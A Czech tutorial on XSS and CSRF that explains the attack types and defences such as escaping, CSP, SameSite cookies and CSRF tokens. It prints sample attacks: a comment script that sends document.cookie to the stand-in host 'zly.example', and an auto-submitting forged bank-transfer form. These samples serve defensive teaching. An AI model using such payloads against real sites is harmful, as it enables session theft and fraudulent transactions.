XSS a CSRF – rozdíl, příklady útoků a ochrana webu
Cross-site scripting a CSRF vysvětlené na příkladech. Escapování, Content Security Policy, SameSite cookies a CSRF tokeny – co nasadit a jak to ověřit.
XSS a CSRF se často pletou, protože obě mají v názvu „cross-site“. Útočí ale každá z jiné strany. XSS (Cross-Site Scripting) znamená, že útočník dostane svůj JavaScript do vaší stránky. CSRF (Cross-Site Request Forgery) znamená, že cizí stránka přiměje prohlížeč přihlášeného uživatele poslat požadavek na váš web. Podívejme se na obě a na to, jak se bránit.
XSS: cizí skript ve vaší stránce
Představte si komentáře na blogu, které se vypisují bez úprav:
<p><?= $comment['text'] ?></p>
Útočník napíše komentář:
<script>fetch('https://zly.example/?c=' + document.cookie)</script>
Každý návštěvník stránky pak spustí tento skript. Ten může číst data stránky, odesílat požadavky jménem uživatele nebo krást cookies, které nemají příznak HttpOnly.
Tři typy XSS
| Typ | Kde je škodlivý kód | Příklad |
|---|---|---|
| Stored (uložené) | V databázi | Komentář, profil, název produktu |
| Reflected (odražené) | V URL nebo formuláři | /hledat?q=<script>… |
| DOM-based | Zpracuje ho JavaScript na klientu | el.innerHTML = location.hash |
Obrana proti XSS
1. Escapujte výstup podle kontextu. V HTML převeďte <, >, &, " a ' na entity.
<p><?= htmlspecialchars($comment['text'], ENT_QUOTES, 'UTF-8') ?></p>
Moderní šablonovací systémy (Twig, Jinja2, Blade s {{ }}) escapují automaticky. Riziko vzniká, když autoescaping vypnete: {!! $x !!} v Blade, |safe v Jinja2, dangerouslySetInnerHTML v Reactu nebo v-html ve Vue.
2. Na klientu používejte textContent, ne innerHTML.
// Nebezpečné
el.innerHTML = userInput;
// Bezpečné
el.textContent = userInput;
3. Když musíte povolit HTML (např. editor článků), sanitizujte ho knihovnou typu DOMPurify:
import DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(userHtml);
4. Content Security Policy (CSP) jako druhá linie obrany. Zakáže inline skripty a skripty z neznámých domén:
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'" always;
Pozor, CSP rozbije inline <script> a onclick="" atributy. Začněte hlavičkou Content-Security-Policy-Report-Only, sledujte konzoli prohlížeče a teprve pak přepněte na vynucování.
5. Cookies se session označte HttpOnly, aby k nim JavaScript neměl přístup.
CSRF: požadavek, který uživatel neposlal
Uživatel je přihlášený do vaší aplikace. Navštíví cizí stránku, která obsahuje:
<form action="https://vase-banka.cz/prevod" method="POST" id="f">
<input name="ucet" value="123456/0800">
<input name="castka" value="5000">
</form>
<script>document.getElementById('f').submit()</script>
Prohlížeč k požadavku historicky automaticky přidal cookies vaší domény, takže server viděl platnou session a převod provedl.
Obrana proti CSRF
1. SameSite cookies. Atribut SameSite určuje, zda se cookie posílá u požadavků z cizích webů:
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax
Strict– cookie se nepošle z cizího webu nikdy (ani při kliknutí na odkaz).Lax– pošle se jen při navigaci metodou GET (kliknutí na odkaz), ne u POST z cizího formuláře.None– posílá se vždy, vyžadujeSecure.
Moderní prohlížeče berou cookie bez atributu jako Lax, ale nespoléhejte na to a nastavte ho explicitně.
2. CSRF token. Server vygeneruje náhodný token, vloží ho do formuláře a při odeslání ho ověří. Cizí stránka token nezná.
<form method="POST" action="/profil">
<input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
...
</form>
Většina frameworků to má vestavěné: Django ({% csrf_token %}), Laravel (@csrf), Rails, Symfony. Ve Flasku použijte rozšíření Flask-WTF (CSRFProtect).
3. GET nesmí měnit stav. Mazání, převody a změny nastavení vždy přes POST/PUT/DELETE.
4. U API zkontrolujte hlavičku Origin a pro autentizaci používejte hlavičku Authorization: Bearer … místo cookies – tu cizí stránka automaticky nepřidá.
Jak spolu XSS a CSRF souvisí
Důležitá věc: XSS obchází ochranu proti CSRF. Když útočník spustí skript přímo na vaší doméně, přečte si CSRF token ze stránky a pošle platný požadavek. Proto je oprava XSS prioritou číslo jedna.
Rychlý kontrolní seznam
- [ ] Šablony mají zapnutý autoescaping a nikde není zbytečné
|safe/v-html. - [ ] Session cookie má
HttpOnly,Secure,SameSite=LaxneboStrict. - [ ] Všechny formuláře měnící data mají CSRF token.
- [ ] Nasazená CSP (alespoň v režimu Report-Only).
- [ ] Ověřeno ručně: do vstupů zkuste
"><img src=x onerror=alert(1)>– nesmí se objevit dialog.
Hlavičky si rychle zkontrolujete příkazem curl -sI https://vas-web.cz | grep -iE 'content-security|set-cookie'.